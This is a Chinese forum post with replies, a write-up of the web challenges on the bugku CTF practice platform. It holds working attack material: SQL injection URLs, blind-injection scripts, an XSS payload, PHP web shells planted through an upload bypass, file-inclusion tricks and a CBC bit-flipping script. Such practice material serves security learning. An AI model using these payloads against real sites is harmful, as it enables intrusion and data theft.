[Writeup] bugku Web部分Wp

[复制链接]
查看27144 | 回复5 | 2017-5-29 16:10:19 | 显示全部楼层 |阅读模式
从CTF入门到现在也过去半年多了,各个平台的CTF也打了不少,总的来说,bugku的题目还是挺照顾我们新人的,最近花了一点时间刷完了bugku的web题,学习了师傅们的各种姿势,受益匪浅啊,然而有些题目的w确实很迷,所以我想总结一下,记个笔记,方便自己方便他人。
先贴一下Daybreak表哥的wphttp://www.bugku.com/forum.php?mod=viewthread&tid=70
http://www.bugku.com/forum.php?mod=viewthread&tid=45


# 欢迎各位大佬来本垃圾的博客玩(交)一(换)玩(友)啊(链)http://pupiles.com/
### 1.签到题
加群得flag
### 2.Web2
查看源码得flag![]( T6CIIN%7DEY91KX8@0V%5B8T%7BFU.jpg )
### 3.文件上传测试
浏览先随便选择一个图片,然后打开burp截包,刚开始我就尝试一下解析漏洞,也就是把名字filename的后缀加一个%00.php,没想到直接getflag了![](http://olgkg6ct5.bkt.clouddn.com/%5B3K~B$O%5B%25JYJ~FEKY%292U%7D~4.png)
### 4.计算题
打开网页发现是要输入计算结果,查看源码发现本地有maxlength限制![]( YY_P%29W7VD2CY5SQ5671D0%28U.jpg ),所以直接F12打开控制台修改maxlength的值为100即可,口算提交出flag
### 5.Web3
打开以后疯狂的弹窗。。。禁止弹窗后查看源码发现可得一段unicode编码,解码得flag![]( UMKVV6JBQC@ECMA58C%2891D0.jpg )
### 6.sql注入
这题一开始试了一下发现页面始终返回正常,
![](http://olgkg6ct5.bkt.clouddn.com/_TI$HL%7DDMU0@~G%25E5%28Q05T3.png)页面有提示使用了GBK2312编码,然后开始考虑宽字节注入,加上一个%df使其吃掉%5c
```
http://103.238.227.13:10083/?id=1%df%27
```
报错OK,继续
union select测试到两列时出现回显:
```
http://103.238.227.13:10083/?id=-1%df%27 union select 1,2--+
```
构造语句查看数据库名
```
http://103.238.227.13:10083/?id=-1%df%27 union select 1,database()%23
```
构造语句查看列名
```
http://103.238.227.13:10083/?id=-1%df%27 union select 1,table_name from information_schema.tables where table_schema=0x73716C35--+
```
构造语句查看字段名
```
http://103.238.227.13:10083/?id=-1%df%27 union select 1,column_name from information_schema.columns where table_name=0x6B6579--+
```
最后构造语句查看flag
```
http://103.238.227.13:10083/?id=-1%df%27 union select 1,string from sql5.key--+
```
### 7.sql注入1
查看源码过滤了很多关键词,没头绪
发现后面有
```
$id = strip_tags($id);
```
这XSS过滤代码,这句代码会把<>替换为空,所以可以构造
```
http://103.238.227.13:10083/?id=-1%df%27 un<>ion sel<>ect 1,database()%23
```
可以绕过waf,后面步骤与上面相同
```
KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}
```
### 8.你必须让他停下来
打开bp发送到repeater,然后不停的gogogogogogogo,后台总共有15个jpg,后台会随机返回一个图片如果jpg为10的时候就能得到flag
![](http://olgkg6ct5.bkt.clouddn.com/$1SBN7%60%60$8QMN%60QH%5D%7BYE2P4.png)
### 9.本地包含
打开网址,查看源码发现是文件包含漏洞,通过file使其以数组形式返回
然后利用var_dump输出,所以直接输入<pre><code>?hello=file("flag.php")</code></pre>使其前端输出即可![](http://olgkg6ct5.bkt.clouddn.com/_D6%289%7D%5B$~FY7Q5%5D9N3%2549%7D7.png)
### 10.变量1
打开网址源码审计发现有输入必须满足正则表达式。![]([img]http://olgkg6ct5.bkt.clouddn.com/RTHC22B3TQVJM%7D2UVX79@OH.png[/img]))且发现有$$双重定义,想到PHP有$GOLABLES变量可以包含所有变量所以输入
```
args=GLOBALS
```
即出flag![]( NFYHC_%60@L2Z_IP~@0GG%7BDE5.jpg )
### 11.Web4
源码很好理解把俩个变量进行unescape解码,可得到源码,发现password=67d709b2b54aa2aa648cf6e87a7114f1提交就可得到flag![]( 12413432532.jpg )
### 12.web5
JSfuck直接F12放到控制台运行就可解码得到flag![](http://olgkg6ct5.bkt.clouddn.com/MKT7YGC8DB%5BJB%7B$Y8%60%7BQ1%7DQ.png)
### 13.flag在index里
![]( %25BU%28LPE9BTIQ~3G~7%28P31ES.jpg )进入链接发现url:
```
http://b.post.bugku.com/post/index.php?file=show.php
```
目测是文件包含,php://filter读取index.php
```
http://b.post.bugku.com/post/ind ... /resource=index.php
```
然后base64解码得源码,get flag:
flag{edulcni_elif_lacol_si_siht}
### 14.Web6
查看源码发现http头里面有个经过base64加密的flag字段,结合题目暗示可知是要把flag字段以margin参数进行提交,这里注意每次打开页面的cookie的页面都会变,导致提交的margin与上一次flag字段对不上,所以python脚本一定要用设置会话,以下是python脚本
```python
import requests
from base64 import b64decode
s=requests.Session()
a=s.get('http://c.bugku.com/web6/')
bs=a.headers['FLAG']
flag=b64decode(bs)
flag=(flag.split(':')[1])[1:]
flag=b64decode(flag)
payload={'margin':flag}
r=s.post('http://c.bugku.com/web6/',data=payload)
print r.text
```
一跑flag就出来了
### 15.cookie欺骗
打开网页发现一长串字符,看了半天没看出啥,然后发现url,filename参数是个base64编码的参数,解码得到keys.txt,所以猜测文件名是以base64的方式进行传播的所以把index.php以base64编码的格式传入,然后写个脚本遍历line参数的值可得出源码
```python
import requests
a = 40
for i in range(a):
    url = "http://c.bugku.com/web11/index.php?line=%d&filename=aW5kZXgucGhw" %i
    r = requests.get(url)
    print r.text
```
![](http://olgkg6ct5.bkt.clouddn.com/7%5BP%5BF3$4%29_3RRFU%7D87K6EYB.jpg)
### 16.XSS
查看源码发现![]( 3453.jpg )
传入id参数进行xss这题过滤了<>所以可用unicode编码绕过所以构造payload
```
http://103.238.227.13:10089/?id=\u003cimg%20src=1%20onerror=alert(_key_)\u003e
```
得到flag
![]( %7D%25I~D%2932V@6NZDK%5BRGRA%60%7DD.jpg )
### 17.各种绕过哟
查看源码![]( F3X9%5BF1Y2ZZOVJWJ%608~7_%297.jpg )
发现获得flag要求的条件是:uname != passwd & sha1(uname) === sha1(passwd)&id=margin,乍看起来这是不可能的,其实可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组,如:?uname[]=a&passwd[]=b,这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,将warning并返回false,if 条件成立,获得flag。![]( 123124124134.jpg )
### 18.Web8
打开后查看源码![]( 21413431.jpg )
发现找到flag的条件是是ac与f恒等且满足ac不能为空以及f的值是从fn文件读取,由题目提示得到目录中有flag.txt,访问得到flags故可以构造payload如下
```
http://c.bugku.com/web8/?ac=flags&fn=flag.txt
```
当然也可以利用php输入流进行构造,payload如下
!!!图片
### 19.字符?正则
考察正则表达式.![]( 43635654.jpg ),payload如下
```
http://c.bugku.com/web10/?id=keykekeykeykeykeykeykey:/a/kekeya[:]
```
### 20.考细心
进入后发现404,源码发现没头绪,所以看看有无robots.txt或者备份文件
访问robots.txt发现有个/resusl.php,访问可得源码![]( 123213213.jpg ),我做到这里一直很懵逼,然后经室友提醒构造x=admin可得flag。。(讨厌脑洞。)payload如下
```
http://c.bugku.com/web13//resusl.php?x=admin
```
话说访问以后能看到ip简直可怕。
### 21.php代码审计
数据库没弄好,暂时不做
### 22.getshell
先随便上传一个php提示无效的文件,然后打开bp抓包,发现00截断没有,这时候我就懵逼了,问了一下说是,后缀名黑名单加类型检测,所以抓包修改后缀名发现php5没有被过滤再把下面content-type字段修改为Image/gif,最后把上面的Content-type换一下大小写绕过,这里说一下以为walf如果是严格匹配,那么大小写可能会让walf失效,然而服务器的容错率高所以服务器正常解析
payload如图
![]( 1231242.jpg )
### 23.flag.php
首先根据提示hint,传入参数hint=1可得到源码然后代码审计得到反序列化漏洞,只需要让cookie的IScere字段的反序列化等于KEY的值即可
bp抓包修改cookie的值即可getflag
### 24.web15
打开可以看到源代码![]( 12312413.jpg )
浏览一下可知是把访问者IP记录到数据库进行查询,由此可以尝试XFF伪造
,用bp抓包尝试一下加一个字段发现返回和、构造的pauyload字段说明存在注入
写一个py脚本爆破可得flag
```python
import requests
import time
payloads='abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'
flag = ''
def exp(x,i):
    starttime=time.time()
    url = "http://c.bugku.com/web15/"
    xxx = "' or sleep(ascii(mid((select(flag)from(flag))from("+str(x)+")for(1)))=ascii('"+i+"')) and '1'='1"
    headers = {
    "Host": "http://ctf.bugku.com/challenges",
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding": "gzip, deflate",
    "Connection": "keep-alive",
    "X-FORWARDED-FOR": xxx
    }
    res = requests.get(url, headers=headers)
    s = time.time() - starttime;
    if s > 1:
        return 1
    else:
        return 0
for x in range(1,33):
    for i in payloads:
        if (exp(x,i)):
            flag+=i
            print flag
            break
        else:
            pass
print 'flag:'+flag
```
### 25.sql注入2
好吧这题是问了B牛的,提示过滤了一切,卡了好长时间都没注入进去,于是无奈之下拿出工具扫了一下目录,发现了一个DS_store典型的源码泄露。然后用github上的.DS_Store查看脚本可以查看,有个flag文件打开访问可得flag。
```
flag{sql_iNJEct_comMon3600!}
```
### 文件包含2
右键查看源码发现有个
`<!-- upload.php -->`
根据提示文件包含所以上传一个jpg,内容为
<?php
@eval($_POST[pupil]);
?>
发现上传不成功,`<?`标签被过滤了所以可以使用想到可以用script标签过滤
```javascript
<script language=php>
@eval($_POST[pupil]);
</script>
```
发现ban了菜刀
所以直接构造命令执行
```javascript
<script language=php>system("ls")</script>
```

```javascript
<script language=php>system("cat flagxxxx.txt")</script>
```
### login2
此题需要vps,先直接构造
```
username=0' union select 1,md5(2)#
&password=1
```
原理我在不阐述了,想要了解的私我
然后进去以后发现有过滤,只用ls命令
于是用命令执行截断`xxx || ls`但是我们看不见返回,所以需要vps进行curl弹,然后再查看vps的访问日志详情请看论坛另一篇文章
http://www.bugku.com/forum.php?mod=viewthread&tid=80
### login3
盲注题,直接上脚本
```python
import requests
url = 'http://47.93.190.246:49167/index.php'
s = requests.Session()
result = ''
for i in range(1,33):
    for j in range(48,123):
        payload = "admin'^(ascii(mid((password)from(%d)))>%d)#" % (i,j)
        data = {"username":payload,"password":"123"}
        r = s.post(url,data=data)
        if "password error!" in r.content:
            result += chr(j)
            print result
            break
print "password: "+result
```
### login4
随手加一个.index.php.swp发现了源码,审计一下很明显的CBC反转字节攻击先用bp抓包,然后上脚本省事就没写自动化的脚本了..这里就不贴原理了,百度一大堆
```python
import base64
import requests
from urllib import unquote
url = 'http://47.93.190.246:49168/index.php'
data = {
    'username': '1dmin',
    'password': '12345',
}
s = requests.Session()
cookies = s.post(url,data=data).cookies
cipher = cookies['cipher']
cipher = base64.b64decode(unquote(cipher))
cipher = cipher[:9] +  chr(ord(cipher[9]) ^ ord('1') ^ ord('a')) + cipher[10:]
print "iv:" + unquote(cookies['iv'])
print "cipher:" + base64.b64encode(cipher)
```
得到iv和cookie的值,然后用
用户名1dmin,密码12314(随便)输入进去后用bp抓包修改cookie为以上值go一下,不出意外会出现xxxxxxxxxxxxxxxx cannot unserialize的报错然后再用以下脚本
```python
import base64
from urllib import quote
plain = base64.b64decode("变量1")
want = 'a:2:{s:8:"userna'
first_16 = ''
iv = base64.b64decode('变量2')
for i in range(16):
    first_16 += chr(ord(plain) ^ ord(iv) ^ ord(want))
newiv = first_16
print quote(base64.b64encode(newiv))
```
这里变量1填xxxx无法反序列化xxx的值,变量2填第一处脚本获得iv的值
然后再替换bp中的iv的值,go一下,getflag
### welcome to bugkuctf
这题就是我出的。。详细wp见我另一篇博文[http://pupiles.com/suibi2.html](http://pupiles.com/suibi2.html)
### never give  up
查看源码发现有一个`1p.html`直接访问会跳转于是直接再前面加一个`view-source:`控制台解码得到源码然后http://120.24.86.145:8006/test/h ... //input&b=%00123456
post数据为 bugku is a nice plateform
### PHPCMSV9
论坛有工具用一下就可以getshell
### 海洋CMS
百度一下最新海洋CMS漏洞直接就有利用方法,(命令执行)
来自群组: 官方团队
回复

使用道具 举报

匿名 cxvhio | 2017-5-29 16:30:31 | 显示全部楼层
pupil神牛逼
回复

使用道具 举报

Gk1911 | 2017-5-31 14:39:04 | 显示全部楼层
666
回复

使用道具 举报

sccdlth | 2017-5-31 18:26:16 | 显示全部楼层

代码修正

本帖最后由 sccdlth 于 2017-5-31 18:37 编辑

可能是论坛发表的过滤问题, ''回复不出来,你的writeup中login4的第二个py代码里少了三个'',我帮你换成[x]发在下面了

import base64

from urllib import quote

plain = base64.b64decode("变量1")

want = 'a:2:{s:8:"userna'

first_16 = ''

iv = base64.b64decode('变量2')

for x in range(16):

   first_16 += chr(ord(plain[x]) ^ ord(iv[x]) ^ ord(want[x]))

newiv = first_16

print quote(base64.b64encode(newiv))
回复

使用道具 举报

匿名 pupil | 2017-5-31 18:36:05 | 显示全部楼层
sccdlth 发表于 2017-5-31 18:26
可能是论坛发表的过滤问题, ''回复不出来,你的writeup中login4的第二个py代码里少了三个'',我帮你换成[x] ...

thx
回复

使用道具 举报

whbill | 2018-4-8 14:27:33 | 显示全部楼层
不错,谢谢
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

pupil 该用户已被删除